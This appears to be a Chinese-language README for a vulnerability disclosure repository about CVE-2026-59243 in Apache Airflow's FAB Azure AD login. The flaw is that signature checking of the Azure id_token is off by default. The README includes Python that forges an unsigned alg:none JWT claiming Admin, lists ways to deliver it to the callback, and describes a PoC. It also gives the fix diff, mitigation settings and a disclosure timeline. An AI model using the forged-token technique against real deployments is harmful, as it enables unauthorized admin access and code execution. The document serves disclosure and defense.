韩语版: README.ko.md
apache-airflow-providers-fab==3.7.3Apache Airflow 的 FAB(Flask App Builder)Auth Manager 在 _decode_and_validate_azure_jwt() 中解码 Azure AD OAuth id_token。该函数的 verify_signature 默认值为 False。
# providers/fab/.../override.py (报告时第 2331–2341 行)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← 默认值为 False
)
if verify_signature:
# authlib JWK 验证,返回 claims
...
# 默认路径:完全跳过签名验证
return jwt.decode(id_token, options={"verify_signature": False})
除非运维人员在 client_kwargs 中显式设置 verify_signature: true,否则整个登录流程的签名验证都是关闭的。无论收到什么 token,其 claims 都会被当作调用者的身份接受。
同一文件中的 Authentik 集成默认值为 True:
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← 此默认值为 True
)
同一文件、同样的结构、相反的默认值。正是这种对比让我最初意识到 Azure 的默认值并非策略选择。
假设 Airflow 部署了 FAB Auth Manager + Azure AD OAuth,且 client_kwargs 未被修改。(默认安装。)
伪造一个 alg: none 的 JWT,携带任意你想要的 claims:
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # 末尾点号:空签名
将该 token 投递到 OAuth 回调(/login/azure/authorized 或集成挂载的任何位置)。实际投递方式因部署而异:通过配置错误的 TLS 终止代理进行中间人攻击、利用 redirect_uri 校验宽松的开放重定向器,或直接使用精心构造的 state 访问回调。选择目标环境允许的任何方式。
token 到达回调的那一刻,FAB 调用 _decode_and_validate_azure_jwt,落入默认路径,并将伪造的 claims 交给会话。由于你发送了 roles: ["Admin"],你现在已以管理员身份登录。在 Airflow 上这实际上意味着一切:Connections、Variables、Fernet 密钥,以及通过推送新 DAG 以 worker 身份执行任意代码。
三个不同的评估落在了三个不同的地方,这实际上很有信息量:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L中危我的评分与 NVD 之间的差异只有一个指标:AC。我将其标记为 H,因为我狭隘地考虑了 MITM 投递路径。NVD 的分析师采用了 AC:L,将任何将 id_token 送到回调前的方式(包括普通的 OAuth 流程滥用)都视为普通攻击者能力。反思之后,AC:L 是更站得住脚的解读——利用损坏的签名检查并不严格要求处于路径上。这就是 NVD/Strix 给出 9.8 的原因,也是大多数 CVE 数据库和扫描器将显示的分数。
Apache 的 中危 是基于其自身风险模型的独立判断,更侧重于"这种前置条件在实际部署中出现的频率",而非影响的上限。与 9.8 并不矛盾——只是回答了不同的问题。
一个字符。
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
将 Azure 的默认值与 Authentik 对齐。如果确实有人需要关闭签名验证(例如在本地 Azure AD 副本上使用自签名 JWKS),他们仍然可以通过在 client_kwargs 中设置 verify_signature: false 来选择开启。这比默认以不安全方式发布要好得多。
已于 2026-07-07 以 PR #69374 / commit 54259ae 合并。于 2026-07-28 在 apache-airflow-providers-fab==3.7.3 中发布。
如果无法立即升级,请在 webserver_config.py 中显式设置:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
除此之外:保持 OAuth 回调仅限 HTTPS,并严格限制 redirect_uri 白名单;如果你有理由认为已被攻击,请轮换 Airflow Connections 中保存的任何凭据。
Docker + pwntools 设置在 poc/ 下:
poc/server.py 将易受攻击的路径(jwt.decode(..., options={"verify_signature": False}))隔离在一个小型 Flask 应用中。poc/exploit_airflow_jwt.py 伪造 JWT,访问回调,并从管理员视图转储占位符机密。poc/Dockerfile 和 poc/docker-compose.yml 将目标环境启动在 127.0.0.1:5002(回环绑定)。单条命令:
cd poc/
./run.sh
如果你在共享机器上运行此操作,请先检查 compose 绑定。
无关的重构导致原始报告与当前 main 之间的行号发生了变化。文件路径未变。
文件:providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
CVE-2026-59243/
├── README.md (本文件)
├── README.ko.md 韩语版本
├── LICENSE MIT
├── check_advisory.sh 发布监控脚本(保留以供复用;当前闲置)
├── patch/fix.diff 单字符修复(锚定到报告时行号)
└── poc/ Docker + pwntools PoC
[email protected]MIT(LICENSE)。PoC 仅用于复现和防御性研究。请勿将其指向你不拥有或未经书面授权测试的系统。
| 符号 | 报告时(2026-03-18) | 修复后的 main(2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341(默认 False,易受攻击) | 2428–2438(默认 True,已修复) |
_get_authentik_token_info() | 414–416(默认 True,安全) | 419–420(默认 True,安全) |
| 日期 | 事件 |
|---|
| 2026-03-18 | 报告至 [email protected] |
| 2026-03 至 2026-07 | Apache 方面延迟;一名 Airflow PMC 成员后来确认初始报告被遗漏 |
| 2026-07-03 | 首次回复 |
| 2026-07-04 | 分配 CVE-2026-59243,发送致谢信息 |
| 2026-07-07 | 修复已合并(commit 54259ae,PR #69374) |
| 2026-07-28 | 发布 apache-airflow-providers-fab==3.7.3 |
| 2026-07-29 | MITRE CVE 记录 PUBLISHED,Apache 公告发布至 [email protected] |
| 2026-07-29 | 本仓库转为公开 |